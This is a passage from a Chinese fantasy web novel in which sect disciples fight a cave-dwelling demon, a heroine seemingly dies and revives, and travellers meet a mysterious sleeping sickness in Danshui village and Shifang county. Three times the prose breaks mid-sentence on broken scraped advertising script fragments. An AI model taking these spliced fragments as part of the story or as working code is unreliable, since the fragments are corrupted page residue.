“真不是我说啊商则,你一天忙成这样还能惹事,怎么?不跟着小师妹了?”沈潭把四脚朝天的商则揪起来,一伸胳膊揽上这人的肩,和他耳语。 就是商则太高,被他揽着实难受,只能弯着身子配合:“我这回没惹事,就是聊天。” “呦呦呦……你还聊天,开口不是赚钱就是芩竹,其他弟子没告到长老那里说你骚扰就不错了。”沈潭松开胳膊欠揍地给他小腿上来了一脚。 商则似有所觉,抬脚躲过这下,沈潭便踢了个空,而他之前那脚又踩回原位,极快地勾着沈潭的腿别了个弯,将人压着半跪在地上。 “嘿!不错嘛。”沈潭落在下风也不恼,一个用力向后肘击,商则撤身避过,就被沈潭挣脱。 那人旋身而起接上飞踢直逼商则面门,后者矮身向前冲去砸下几拳。两人就这么在山门口打了起来,互相不曾留手,拳脚带风。 又险险接下沈潭一拳,商则皱了皱鼻子,那处有些发痒,他擦了一把就要捏拳重新迎上,余光忽然瞥见不远处树影后的一抹白。 像是要顺着山路下来。 商则关节处发白的拳头猛地松开,动作诡异地停滞一瞬,沈潭没有注意到,自觉发现了破绽,拽着商则的胳膊反身一甩,将人过肩摔了出去。 “哈!” 沈潭畅快一笑,正要上前嘲讽两句,就看那摔在地上的人咕噜咕噜往山路上滚了两圈,哀嚎出声。 那人身前,晃悠来了一道白衣身影。 “啊……疼死我了……欸!芩竹!你看啊,师兄不让我出山门就打我。” 沈潭:……不要脸! 芩竹静静望着两个在自家门口斗殴的人,直觉脚下的人还要表演些什么,没有吭声。 果然,商则抱着肚子又滚了一圈过来,摸了把脸,惊叹道:“啊呀!血!芩竹,你带我去上点药吧。” 沈潭揉了揉腰:这家伙下黑手,受伤的地方都没法脱了衣服给师妹看! 商则一句话接着一句话,沈潭根本插不了嘴,你你我我指了半天最后忍不了就要再去揍他两下,被商则一溜烟躲去了芩竹身后。 处于暴风之中的芩竹淡淡开口:“沈师兄,云沁师姐在亭子里看书呢。” 沈潭听后眼睛一亮,隔空点点商则,又看了看芩竹故意道:“云初说这小子品行不端,在山里勾搭别的师姐师妹,让我看着他别出山门,既然你来了,那我就先去找云沁了!” 他说话时,眼瞅着商则藏在芩竹身后的表情晴转阴,于是越说越快,到最后半句干脆也不留着了,拔腿就跑,风中还能传来他得逞的笑。 商则磨牙,又不能直接冲上去,赶忙就在芩竹耳边解释。 芩竹边听他说,边往山上走,中途本想阻止一下便是自己知道了,结果没能成功,就直接听着商则一通话说到了半山腰。 “没有生气,我知道师兄是胡说的。”终于寻到个好时机,芩竹打断了他。 “那就好……反正我只对你一个人这样。” “嗯?” 后半句商则的声音太小,芩竹没有听清。 “没事。” —— 春去秋来,玄英顶飘满落叶的时候,芩竹他们又下了山,那是商则离开山脚小镇的大半年后。 不过这次倒不是去那小镇,而是往反方向走的一个大些的县城里,听说是那县令连夜拜上玄英顶,想要求玄英弟子下山除妖。 可除什么妖?哪里的妖?通通一无所知,只说他周边三个城加起来,年女老少已被那妖怪吃了上百。 这事情已经有些严重了,长老便吩咐江云初带着一众弟子先下山探查一番。 他们一行人先跟着县令去那县城转了一圈,挨个去失踪人口的家中打探,最后得到的线索是,那些人最开始出门只是听说城后山中有矿石,采来能卖个大价钱。 县令知道那矿的事情,可自己也差人去过,并没有找到。现下听到乡亲们说,就带着一帮人领玄英弟子过去。 城后那座山风景秀丽,踏进去跟世外桃源似的,刚到此的弟子难免有些放松警惕,一路欣赏着美景深入山中。 芩竹他们也不例外。 此行出门,除了江云初和沈潭两个长老大弟子之外,还分别率领了峰下弟子各十名,外带了芩竹和商则。 按理说商则这样的,本不该随行,就怕一不留神死了,但拗不过那人硬要跟来,反正芩竹算他半个师父,师父都没拒绝,别人也不好说什么。 只是临走前,芩竹的师父给了她一串铃铛,说是交给商则,关键时刻能挡上一击。 这铃铛,现下就挂在商则腰间,一步响一下,在整条队伍里炫耀着。 不一会,便进了个山洞,初入洞中昏暗,两边有泛着荧光的石头,过了这段路后,便豁然开朗。 眼前的洞足足能容纳两三百人,洞顶开了个口子,日头直直照进来,将洞中的奇珍异草映得亮堂,真就和那仙草仙石似的,闪着五彩的光。 “这是哪里?前头没路了?”领着芩竹他们来的一个人好奇道。 另一个人却浑不在意,小跑到洞壁旁,蹲下身衣服兜着拔了许多花草,边拔边说:“没路了再回去呗,这山一天一个样,不过也不算白来,看这东西,拿出去能卖不少钱。” 江云初没来得及阻止住那人,沉声道:“大家别乱跑,这里不对劲,你们先出去。” 原本要跟着去采花草的人听他的话顿了顿,却被旁边的人反驳:“你说出就出啊,我怎么知道你不会是要将这里据为己有。” 众人一听,也附和道,玄英弟子自然不愿受这等污蔑,立刻七嘴八舌争辩起来。 洞中空旷,一说起来,感觉有几百只鸭子在叫,吵得人头脑发胀,着急上火。 商则就是那个容易上头的,铃铛极快地响了两声,芩竹就知道他要干点什么,在那人步子还没跨出去的时候一把将他拽了回来。 “别动。” “他们太不讲理。”商则皱眉,拳头攥着垂了下去,退到芩竹身后。 前方的叶云沁此时出声,女声稳重明亮,在一片叽里呱啦中非常明显:“各位乡亲,这样可行?我们一同出去,让我师兄在里面排查一番,没有问题了你们再来,到时如果花草没了,你们也大可以来玄英顶讨说法。” 人群又是叽叽喳喳一会,最终那兜了一衣服花草的人率先道:“我没异议,都说玄英顶公正为民,既然这位师傅都发话了,那咱们也各退一步,不在这渗着了。你们说是吧!” 他这话倒是有点作用,那些人互相叨叨两句,便也点了头,跟着旁边的弟子们推搡着出洞。 叶云沁看了眼沈潭和江云初,向他们点了点头,揽着芩竹的肩,带着她一道转身。 洞中还能听到一些闲话的回音,大家都没有管,慢吞吞地走着。 正当这时,洞内光线忽然一暗,芩竹下意识看向顶部的口,只见那原本阳光直射的地方竟蒙了一层奇怪的暗光。 洞中环境突变,向洞外走的那些人也不敢耽误,玄英弟子赶紧催促着要将那些人送出洞。 “还想走?”口齿模糊的巨大声音回荡在洞中,震得上方碎石都掉下来数颗。 正在慌忙前进的人突然被出洞口的一层暗光击回,一群人缩在原地瑟瑟发抖。 声音太大寻不到来源,站在洞中间的江云初几人迅速做好应敌的准备,其余弟子也纷纷拔剑横在身前。 突然,顶口那暗光处带着破空声散射下数道黑影,江云初立刻提剑抬手,扬声道:“小心!” 剑中迸发出一道光墙撑开挡在中间这几人上空,其他弟子也同时抬剑去挡,顿时一阵叮当声响在洞中。 人群被分成两部分,江云初和芩竹他们五人围成圈站在洞中间,剩余的人皆是挤在洞壁旁。 芩竹站在靠里的位置,面向的是一进洞的那处墙壁,此时面色严峻地观望四周,叶云沁在旁提剑护着她和商则。 而那顶部射下的黑影一刻不停,像是很有把握将这些人耗死在这。 一块黑影弹在墙壁上反弹向芩竹面前,被叶云沁一剑扫去,那短短瞬间,芩竹看清了,好像是片鳞甲。 她又抬头仔细看了那洞顶的口,再向旁边移了些眼神,发现那顶口周边一圈的光影有些奇怪。 芩竹向来想到什么做什么,手中长剑划过浅光,甩手向那处掷去,她盯着那剑,看它明明已经至那洞口,却忽然断成两半弹飞了出去。 “那处有东西。”芩竹飞身接下有剑柄的那把断剑,说着又往那处扔了过去。 叶云沁一听,也去帮忙,同沈潭一起向顶部攻击。 从天而降的无数黑影终于停下,顶部发出一声怒吼,接着一个巨大的影子向他们扑来。 几人飞身撤开,只见灰尘之后,是个快和洞顶一般高的妖怪,形似穿山甲,鳞片的地方长着奇怪的晶体,高高竖着,爪子上的尖甲在地面划出长痕,尾巴直扫而来。 又是齐力抵抗勉强躲过,江云初厉声道:“我们敌不过它,云沁,想办法带着乡亲出去。” “来我这里的人,都别想走!”妖又是一声长喝,鳞甲一展便是数片黑影袭来,身后有弟子撑不住,剑歪了一寸,黑影瞬息削断长剑将那人钉在洞壁上没了生息。 旁的弟子见状红了眼,喊道:“果然是你这妖怪作祟,我们与你无冤无仇,为何要伤人!” 那妖缓缓转了一圈:“你们采我食物,那也就只能你们来还。” 说罢,这妖忽然张口,江云初连忙闪身去往众弟子前挡下,然只此一击,而那妖口中的长舌一卷,让人根本来不及反应,之前那采了花草的人就被扼着脖子卷走。 那人的呼救声还在一半,便被丢进了那妖脚边新挖出来的洞中,尾巴一扫一压,地面便和寻常土地再无分别。 刚刚还活生生的人瞬间便没了。 “我修习千年,还是第一次碰到这些好的养料,怎么能走?” 洞中的人见此情形,忍不住低头看去,薄薄一层土地下,正或躺或弯埋着城中那失踪的上百口人。 沈潭忍不住抖了抖身子,怒瞪那妖,长剑竖起飞身而去,空中留下一句,快些找到出路。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “自不量力!” 妖怪浑身鳞甲坚不可摧,若不是弟子以血养剑,近身就会碎掉,沈潭也不过近身两招就被重新击回,要不是叶云沁及时出手,早就被那妖一爪撕成碎块。 “这家伙修炼太久,在这么下去咱们只有死路一条,我们去对付那妖,云沁去破洞口结界。”江云初扶了一把沈潭,召开大半弟子起了剑阵。 芩竹应了一声刚要上前,忽然被商则拦住,她都不用听他说话,已经将他伸来的手按了回去:“师父给你的,你看着用,尽力活着。” 按回去的是一把铃铛,铃声清脆好听,比空中留下的那句话绵长。 商则收回手,在地面望着芩竹飞快踏着洞壁上的石头闪身直至那妖头顶,以断剑迅猛撬进鳞片缝隙,又极快地闪开袭来的鳞甲,成功将妖引入剑阵之中。 从地面腾空十几道光芒,法阵光符在那妖脚下盘旋,而中间的妖依旧不慌不忙,只一尾就能甩得整个阵法晃荡。 现在来此的弟子不够对付这只千年大妖,只得以身祭剑。 金光四起,那妖这才有些不耐,在阵中胡乱撞击。 叶云沁半刻不敢停,在旁仔细瞧了结界发现,以他们现在的实力,能勉强打开的只有顶部那口上的结界。 于是领着弟子齐召剑于那处,虚影剑尖抵在顶口暗光上,不多时,成功砍出出一条裂缝。 为弟子领路的十几个城中百姓还缩在洞边,旁边只留了商则和两个弟子保护,一时间被保护的和保护人的大气都不敢出。 突然,剑阵出现异常,商则下意识去盯阵中那道不甚显眼的白衣,却见光芒暗淡,一道长影猛地向这边袭来,他赶忙提剑去挡,剑碎的那一刻迅速矮身滚去一边。 回眸一看,剩下两名弟子牙缝溢出鲜血,拼命拦下了那带着罡风的长舌,后面便是无处可避的百姓们。 商则咬牙,扯下铃铛扔去那帮人身前。 这情况发生不过瞬息间,在众人还未回神时,铃铛震出巨大的清音,只听那妖嘶吼一声,长舌收回。 它应是发了怒,鳞甲上的晶体迅速长满全身,在阵中爆出。 一声巨响过后,剑阵被破,同时,顶口的结界也被打开。 而叶云沁收手那瞬间便觉不妙,用全身的力气挡下对着身旁弟子的几束晶体,掩护他们撤去一边,接着便是一个巨大的黑影罩至身前,可她已来不及躲。 那妖速度极快,可跃至半空时却诡异顿住,叶云沁反应及时,趁着空挡跑去商则那边,再一看,竟是芩竹和沈潭一人一剑将那妖的后脚钉在地中。 “用移星符,快走!”江云初喊道。 那符之前在城中的客栈用过一次,算作一颗星,这次再用,便就能从这处直接将人传到那颗星的位置,也就是城中客栈。 只不过这符若要移动,启用便要耗上半盏茶的功夫。 期间,那妖吃痛,骤然发难,芩竹就地一滚贴上洞壁,可沈潭之前受了伤,加之刚才被剑阵反噬,早已力不从心,反被妖怪的大脚踏在地上。 血与灰四起。 商则刚好看到这一幕,浑身一颤,旁边有弟子在喊“沈师兄”,他头脑发懵向前跑了两步却被人一把拽了回来,正要反手挣开的时候,见是叶云沁。 那人已经开了符,符上淡淡的光将这边一圈人罩在里面,她紧紧蹙着眉,没有转身道:“你连沈潭都打不过,别冲动。” 妖知他们这边的人要跑,自是不会放过,原地一蹬朝着这头袭来,每一步都像是要将人踏进地里。 江云初捏剑的手微微震动:“师妹,师父教过你封印之法,还记得吗!” 芩竹在不远处回他:“记得。” “那就重新开阵!” 商则听清了那边的对话,着急看过去,在光罩中的剩余弟子也是面露焦急,想要出去,都被叶云沁拦下。 那头芩竹的断剑悬在胸前,不知她施了什么术法,身后弟子的剑影拉长化为金光直冲那妖而去,缠遍它全身,每根金光绷直笔直。 光罩中的人看着近在咫尺的尖牙利爪,无不愤恨,提剑胡乱招呼着。 可这些金光到底支撑不了多久,一根崩断,剑主被击飞,再被崩断…… 芩竹这阵撑的艰难,无法只得继续用上个法子,她双手握着断剑狠狠一划,血丝顿时流淌整个金光大阵,接着以那伤手捏下几道手诀,阖眼从眉心引出一抹光亮,注入断剑。 商则在不远处的光罩中,很难看清那处发生了什么,只知道这只妖忽然被朝后拉远了许多。 “准备好,我们要出去了。”叶云沁说。 阵中那柄断剑突然长出了一半完整的剑刃虚影,芩竹猛地睁眼,提起剑腾空而起,四周金线困着那妖跌撞着离移星阵远去。 阵符的光变亮,人影变暗,这是阵法启动的预兆。 而等符光暗下来,商则也终于能看清芩竹,空中那抹白衣染血,面色冷然,偌大的长剑虚影从她身后显出,和她手中的断剑一起当空将妖钉在地中。 妖扭曲翻滚,哀嚎如山崩,山洞摇晃,一点点崩塌。 金光大阵熄灭,阵中弟子力竭摔下,包括那原本处于半空的人影。 移星符最后一点亮光熄灭,商则感觉自己整个人头重脚轻,却凭着一股劲挣开了身后的拉力,奋力踏了出去。 “芩竹!” 芩竹听到一个喊声,勉强睁眼,只见移星符幻化成的光迅速穿过洞中崩塌的乱石顺着头顶那小小的缝隙飞了出去。 最后一点光亮也被石块堵住,她闭上眼,视线的最后,似乎是一抹暗红扑来眼前,混着一股雨后泥土的清香。 35. 前尘梦 被大雪覆盖的山路上,鹅毛飞雪落在山道上的那条停滞不前的车队上,队伍末尾,围着几个人。 呼啸的风几乎要听不清浔佩开口那两个字。 她说什么?死了? 商则没说话,拧眉扶着芩竹的身子往怀中搂了搂,偏头在芩竹头顶蹭了蹭,抬手抚上她的脸颊,又将她的双手攥在手里。 这么冷的天,他知道她冷,可他本也是冷的,再怎么捂也捂不热。 麦子拧眉看着商则的动作,又盯着芩竹的脸看,鼻血还在流,流一些又被商则擦掉,整个人被他死死抱着,好像这样就不会发生些什么。 她又拾起芩竹的手探上脉搏,无论哪个地方都表明芩竹已经死去了,但麦子莫名就有种感觉,应该不会是这样。 “还元丹!对了,那个丹药能给我一颗吗?”商则突然开口,看着浔佩,麦子也回过神看向她。 还元丹是世间不可多得的神药,神奇的地方还在于……它很贵,且千金难求。 商则急道:“你给我一个还元丹,我能保你家小姐半生无忧,可行?” 麦子皱着眉看他,心中总有不太好的预感他是要做什么,便先一步从怀里抽出那个漂亮的簪子要给浔佩。 浔佩被这俩人的举动搞得头大,往后退了两步道:“我得去问过我家小姐,你们救过我们,我家小姐不会见死不救的。” “先将她带回去,外面温度,不死——咳,走吧。”浔佩对着外人一向最快,出口才意识到芩竹已经是死去的状态,立刻改口。 可那人安静歪在商则怀中,平静地和往常也没什么两样,总没人把她和亡人联系在一起。 那个看起来沉睡中的人被商则一把抱起,轻的和一片竹叶似的,急急向马车跑去。 麦子给他让开路,退后的步子踩到了什么东西,低头捡来一看,是芩竹平常挂在腰间的木牌,刚刚就是这个顶了那奇怪的光芒一下。 这会再向车队后望去,阴差已走,环境恢复,马车前的灯笼也重新亮起,麦子就按照之前说的,把贴在这些失神护卫额头的符纸收了回来。 路上她又看了眼手中的木牌。 原因是手感很奇怪,一看才知,原本只一条长裂纹的牌子此时又多了一条,就从那条痕迹中分出来一路,而且不知是不是光线问题,这牌子比起第一次与芩竹见面时,看着暗了点,没有那光亮的感觉了。 麦子攥着木牌深深叹了口气,两步追上前面的人,替她们揭开车帘。 车厢中的人等了许久,担心不已又不好出去寻找,现下看到人来了才安稳,结果入眼却是个陌生男人抱着芩竹进来,姜绾和锦书都是一懵。 “怎,怎么了,芩竹又睡着了?”姜绾从那会开始心就狂跳,这会看见芩竹时也是一惊,强压着不好的想法,磕巴问道。 商则没有回话,后进来的麦子勉强朝她笑笑应道:“太晚了,她那会就有点困了。” “那便好那便好,吓死我了……”话是这样说,可姜绾看着商则等人的表情还是心慌不止,坐在原处眼睛直勾勾地盯着芩竹,手指绞着衣摆。 “小姐,秦姑娘……受了点伤,急需还元丹,我想替她要一颗。”浔佩在最后出声。 这句话说的前后不搭调,小伤为何要急需,此刻也没人去纠结。锦书忙道:“那快去取,小伤也不能耽搁重了,她还穿的这么薄。” “已经拿来了……”浔佩表情有些不忍地看着芩竹,把丹药交给商则,后者给她喂下。 姜绾还是没敢过去,从后面拽了拽麦子,那人反手拍拍她的手,叹道:“没事。” 芩竹心口好像被人撕了一道口子,疼得她想找个石头撞一撞,这会人在哪分不出来,只能听见耳边不断有人叫她的名字。 艰难睁开一条缝,身边是一道撑起的剑光,眼前是黑底红纹暗花。 这不是商则的衣服吗?整个玄英顶,芩竹只见过一个人这么穿。 再一次睁眼时,自己总算躺得舒服了些,身下不是那些咯人的石头,眼前黑漆漆的,空气里尽是灰尘,而耳边,是累极的喘息声。 这情况放在哪都有些吓人,但芩竹只是一双眼睛在黑暗里睁着表情平静。她身上没力气,只能往声音的来源偏过头,脸颊压上一个不断起伏的地方,好像再用点心,都能听到层层衣料下的心跳。 “商则?”应该是呕出了血,嗓子发涩。 “嗯?”他可能也是同样,嗓音带着哑。 没人说话了,可忽然,有淡淡荧光亮起,芩竹疲惫地眨了眨眼,尽管刺眼,却还是向那处看去。 “我偷偷拔了那妖怪的食物,吃不了,还好能亮些。”这么听着,商则的声音哑,应该是哭过了,还带着鼻音。 “我刚才把你拖到这里的时候,拿出来过一次,但是你七窍都在流血,看着……‘心’疼。”后半句心字着重了下,让芩竹觉得,这个词应该换成“眼疼”才对。 他们这地方像是个大石块砸下来和洞壁形成了个小小的空间,刚够两个人侧靠着,呼吸一次就少一次新鲜劲。 芩竹困极,索性闭上眼,让那石头的光透过眼皮照着她,说:“不用怕,我不会死。” 那冷寒的光线转成烛火样的暖光,阖着眼都觉得晃眼,周边憋闷褪去,干冷的风毫不留情地钻进骨头缝里,每一下都让她打着哆嗦。 心口钝痛膨胀,芩竹疼得天昏地暗,眼前划过不少人的脸,白衣提剑,每个都好像和她度过了不少光阴,最后一个个被黑暗盖去。 她终于受不住深吸一口气猛地睁眼,侧身呕出一口血。 “芩竹!”七嘴八舌的喊声弹出来,吵得她脑袋嗡嗡。 芩竹撑着上半身晃了晃脑袋,感觉有人扶住了自己,垂眼望去,还是熟悉的红底暗纹,商则蹲身仰头看她,眼里却没有上次的轻松,眉心微蹙。 再抬眼,旁边是同样担心的麦子等人。 芩竹抬抬眉头,擦去下巴上挂着的血,重重喘息几下,又重新栽了回去,但阖眼前还不忘留下一句话:我睡会。 让身前围上来的人步子一顿,表情不上不下的卡在原地。 商则皱着眉,伸手在芩竹嘴角摩挲两下,手背抚去残留的血迹,垂下头暗暗吐出胸口浊气,起身钻出了车厢。 麦子此时也终于放下心,转头去看姜绾,两人松开握着的手时,指节都有一瞬间的僵硬,竟不知道自己握得如此用力。 浔佩和锦书站在靠后的位置,此时也是欣喜,锦书轻轻道:“这还元丹,真是有奇效。” 虽是这般说着,可浔佩和麦子两个当事人却有种别样的感觉,总觉得芩竹“死而复生”和还元丹的关系不大。 浔佩顺着锦书的后背,甜甜道:“外面之事解决了,咱们也得快些赶路,小姐,我先出去知会一声?” 麦子看着浔佩出去时,车帘外商则的背 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 影,交代姜绾去照看着芩竹,自己则是也钻出了车厢。 车顶的两个灯笼摇晃一下,商则转头望见是麦子,眉头耷拉着又转了回去,麦子见状无语笑道:“芩竹刚睡着,你还指望她再诈尸一遍出来找你?” “我想想怎么了……”商则像是个红毛倔驴,嗤了一声偏过头去,拉着缰绳在手里绕了几圈。 麦子出来其实也不完全是来找商则,只是觉得里面氛围实在太难受,会让她想起不好的事,所以来透透气。 这般看来,商则应当也差不多。 她坐到另外一边,将木牌丢给商则,说:“如果,我是说如果,锦书小姐不给咱们还元丹呢,你会杀了她们吗?” 麦子扭头盯着商则的表情,那人认真端详着手中木牌,摇头:“她们不会不给。” “如果……” “也不会。芩竹不愿意看到这样的事情。”商则握紧木牌,麦子点点头,正想说声“也是”附和一下,就听那人又开口:“可谁说只有杀人才能拿到丹药?” 麦子:……也是。 空气安静了一瞬,商则忽然表情别扭地转过来横了眼麦子:“还有你,那簪子收好了,我想要都要不来,你倒好,说给就要给出去。” “嘿?”麦子的麻花辫炸了毛,“芩竹给我就是我的了,她说全凭我处置,奥对,忘了某人没有!” 麦子说完这一句神清气爽,突然就懂了姜绾平常和那布人斗气的感觉了,车帘一扇钻了回去,留商则一人在外面喝西北风。 “谁说我没有……”商则嘟囔着。 很快,车队重新发动,整齐有序地向山下行进,快天亮时,芩竹也幽幽转醒,刚醒来就被姜绾拿竹筒灌了大半的甜水,美名其曰给她补补,然后再抱着她不撒手。 而车队到了山下的镇子,也是和芩竹她们分别的时候了,锦书还有些舍不得,拉着几人紧赶慢赶地说着话。 麦子和姜绾哭笑不得,只说有缘还能再见,顺便留下了药方让锦书记得喝药。 浔佩也是无奈,离别时拍了拍芩竹的肩,给芩竹的感觉就是:我佩服你。 芩竹于是也学着她的样子拍了回去,得到一个孺子可教的眼神。 这小孩……她正想,忽然瞥见浔佩的手腕,竟然也带着红绳,只是平时藏在束袖里不易发现。 也是,锦书有的,势必也会给浔佩寻一个。 “那我们便走了,有缘再见!”锦书趴在窗口冲她们道,三人加一布人摆手,看着车队遥遥离去。 姜绾笑道:“好!我们现在有钱了,去吃顿好的睡个好觉吧!”然而这一觉睡后姜绾再次拿那烧毁了的符纸占卜,却发现要找的那人位置移动了,几人瞪着地图上重新标出的圈,竟然是石方县。 按照她们现在所在的小镇,离那处还要再向东北方向走大概一日。 而经过了前日这几遭,三人早便将乘船老汉的忠告忘在了脑后,第二日便急急上路。 差不多距离石方县还有大半日脚程的时候,她们了个小村子,看村门口的木桩,这村名叫“丹水村”,可姜绾翻找地图时并没有发现这个村子,因此走到这处时都有点犹豫,便站定重新寻路。 芩竹也刚好掏出酒壶喝一口。 然余光一瞥,竟是察觉有个大火团直冲她们而来,还张牙舞爪的嘶喊着,她即刻带着人跑开,火团忽然踉跄着摔在地上。 原来这是个人。 36. 丹水村 怎么会有大活人被烧啊,芩竹三人缩成一团警惕着那边的还在翻滚的火人,到这村子时,雪难得的停下了,几人原本还庆幸自己的好运气,现下就有些无措了,纷纷蹲身揽着地上的雪往那火人身上扔,企图用这点法子帮他灭火。 可奇怪的是,再怎么帮这火却一点也不见小,凡人愈烧愈烈,最后她们都不忍心看下去,那人便没了声息。 火苗还在烧的时候,旁边跑来了几个人,看方向应该是从村口另一头跑来的,手里拿着一端焦黑的长棍,气喘吁吁跑到跟前看了眼前方不动的火人,才撑着膝盖喘气说:“几位姑娘没事吧。” 几人回他说没事,姜绾脸色泛白地指着那不远处的尸体,小心地问:“几位大哥,他是怎么了?” 一个看起来体质相较另外几位好些的大哥直起身说:“说来话长,这人其实是染了病早便死了,怕他传染,就想说烧了尸体,可谁知尸体遇竟然发狂要袭击人,我们也是好久才控制住,可又被跑出来了一个。” “又一个……”这么说,村子里还有很多染病的人? 那几位大哥笑容苦涩,没说是不是,可看那表情也是大差不差了,双方无言片刻,还是那位大哥先一步开口:“几位姑娘这是,要往那里去?” 姜绾这才想起来她们停在这里是因为迷了方向,于是赶紧问:“我们想去石方县,可是走到这里地图没了标记,就有些不知去向了。” “怎么标记?”几位大哥都有些疑惑,看他们这样麦子赶忙道:“兴许是我们被人忽悠买了假货,就是不知道这石方县如何走……” 听她这一说,那些人连连安慰,说什么行走江湖就是要被骗才够味,然后回答她的话:“石方县可近了,从村子过去,行个大半日就能到。” 说完又有点犹豫地挠挠头:“就是我们这村子,也不知道你们现在敢不敢进来。” 三人互相看了看,如果不从村子过,那就是又要多些路程,可从村子走,这染病的事情……她们我那个村中看了眼,但这么瞧着,也不像是很乱的样子。最终三人决定,还是跟着呃这几位大哥进了村。 村中没有几人想象中那般混乱景象,看着还是井然有序,领路的换成了另一位大哥,看着宽厚老实,看她们东张西望的表情就知道她们心中想法,便直接点了出来。 三人只好尴尬笑笑,听那大哥无所谓道:“没事,最开始我们也是纳闷的很。” “染病的人也不像是听说的那些疫病,而是前期丝毫没有症状,到了某一日去忽然一睡不起,有的第二日就去世了,有的则是像个行尸走肉般重新‘活过来’,眼中还会攻击生人,那日你们见到的那个便是,被他们咬中,幸运的没什么事,不幸的就会和他们一样。” 这病症罕见,奈何在叶城县她们也听见过人沉睡的症状,还有芩竹“死而复生”在前,因此听见如上之症也算不上特别惊讶。 麦子还有心和那大哥讨论一二:“那没有上报去城里吗?” “城里?”大哥冷笑一声摇头,“城里的人一听都要吓死了,哪还能来管我们。” “但总不能放着不管吧,你们又做什么措施吗?”麦子问。 “这病虽然听着唬人,可是传的慢,而且得病的前期大多是睡得安稳,不会随便出来伤人,也就还能制得住,全被挪到了村西头,暂时没什么大碍,实体一烧,慢慢就解决了。”大哥说的轻松,但看他表情,实际情况可能也并不太好。 芩竹一路都安静走着,想这村中的事情,可怎么想,它都不应该被归为病这一类啊……听完麦子的问话,她下意识看过去,就见那人也正望着她,直觉她有话要说,芩竹便率先开口:“怎么了?” “我想留下来看看,石方县你们先去,如果不行,我就去找你们了。”麦子说。 芩竹其实很想告诉她自己的想法,但多说无益,总得她自己看看,于是作罢,瞟了眼姜绾,那人也没说什么,要来了麦子一直缠在麻花辫里的一根发绳。 那位大哥听见麦子要留下来还有些不太赞同,停电她会写医术后又开始纠结,还是麦子态度坚决,他才同意了。 “自己小心,我们如果快的话,也能过来找你。”到了村外,芩竹两人跟麦子告别,那人重新进了村,而芩竹和姜绾则是继续上路。 怪的是,走出村子不多时,便又开始飘雪,雪花和到村子之前的差不多大,那股冷气也又来了,而且从丹水村往石方县的这条路不知是雪大还是嫌少有人走,路不是一般的难走,像是踩在一堆杂草乱石上,活像一条没人走的野路。 商则也不再缩到布人里面,现身出来打头走在前面,顺手扫掉几根长长的枯枝。 姜绾感觉走着脚都发麻,有些意外道:“你们说那丹水村,环境那么好,可却闹病,真是说不上幸运还是不幸。” “我觉得不像是病,和叶城县的那些人很像。”芩竹道。 “啊?那会不会那边也有那要找的那东西?”姜绾蹦跶着走,企图以此来取取暖,前方的商则听后也道:“有可能。” 姜绾点点头,走了没几步又突然“哎呀”一声:“那小麦姐姐!” “没事,你不答应她反而良心不安,想些好的。”芩竹跟着前面商则的脚印走着,转头给她说,姜绾想了想,也觉得是这个理,自己把自己哄好了。 天黑之前,她们终于看到了城门,石方县果然不同,门面都比别的气派不少,然而匆匆赶路的三位根本没心思在乎这些,只想着快些进去找地方休整一番。 进城时天色昏暗,街上没什么人,商则早就回到了布人中,一路趴在芩竹肩膀上去了最近的一家客栈。 进了房间姜绾就像解决了什么大事一般,一下子砸在床铺上,喟叹出声:“也不知道小麦姐姐怎么样了,不能睡大床喽。” 布人照例被芩竹扔在离床铺很远的桌子上,仰面躺着干瞪眼,闲来无事道:“她来了也是你们挤,再大的床也小了。” “你就是嫉妒——”姜绾闷在被子的声音缓缓飞出来,“我们有床你没有——” 商则轻嗤一声,身子在桌上旋了半圈,刚好能看到桌对面的铜镜,镜子里有个人正在洗漱,她应该是有所察觉,手掌捧水的动作一顿,不紧不慢地抬手弹了下,便又几颗水珠精准砸在商则脸上。 他闭了闭眼,还是不动,安静看着她做完这一切,扯来姜绾的被子钻进被窝睡觉去了,于是他又把身子转回去,抬起短手熄了灯,重新盯着房梁。 到底是谁会嫉妒大床这个东西…… 翌日起床,姜绾又算了一次,确定了那人就在石方县内,两人便快速收拾东西出发,期间商则一直都是不慌不忙的,挂在芩竹腰间就成了一条死鱼,半点不着急。 姜绾还好奇,按理说商则才是那碎块的主人,怎么他半点都不积极,这话问到了点,商则吞吞吐吐半天,竟然憋出来了个“你管我”,姜绾被气得不行,商则就得到了芩竹的脑瓜崩,两手指差点把布人从腰带里弹飞出去。 商则不说话了,从腰带里挣出一只手揉揉脑壳,不爽地在街上乱瞟,想不经意给姜绾制造个什么小插曲,结果一只冰凉的手忽然把他乱扭的脑袋捏住了,他说话也说不出来,就这么梗着脖子四肢生无可恋地垂着,目视前方。 她们住的客栈离城门很近,人也多,没走两步,遇到了一个施粥的摊子,现在流民很多,之前叶城县也有人施粥,只不过也撑不了多久。 芩竹两人没怎么留意着摊子,准备继续向城里走,这时,旁边摊子围着的人忽然散开,有一个退的太快直接一脚踩上了姜绾的鞋跟。 芩竹连忙把人揽到一边,踩人的是个大婶,应当也是个过路人,见状连忙道歉,本也是无意,姜绾也没当回事,只是问前面发生了什么。 谁知她刚问完,大婶就面露嫌弃地拉着芩竹两人往街对面避去,动作间,狐裘披风滑下来些,裹着绒毛的袖口里露出个传红绳的黑珠子。 她也有? 大婶没有注意到芩竹的眼神,遮着口鼻对她们小声道:“外地来的吧,刚才那是有人染病死了!” “哈?”姜绾惊讶道,垫着脚往那处看,有几个官差模样的人蒙着脸将人抬走,看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着胸口起伏,面色比她还红润,姜绾便也耳语回去,“大娘,我看他还活着呐?” “啧,那是你不知道,这病就这样,第二日肯定断气,现在和死了没差,呦呦,听说有的还会咬人呢!”大婶说着在鼻子前扇了扇,估计是觉得说了晦气,然后又看向芩竹二人,拧眉道,“姐妹俩是探亲还是来投奔亲戚的呀,没什么事还是回去的好。 要不是我家那口子……我也早就回老家了,石方县这诅咒看来是好不了了,还挣什么钱……” 大婶说着说着话题就撒欢的马一样,跑到不知哪里去了,但也是她这个话,才让芩竹二人想起来那撑船老者的警告,一时间心里五味杂陈,她们竟然跑到了这里。 姜绾脸皱了皱,弱弱问:“那这诅,病症有办法解决吗?” 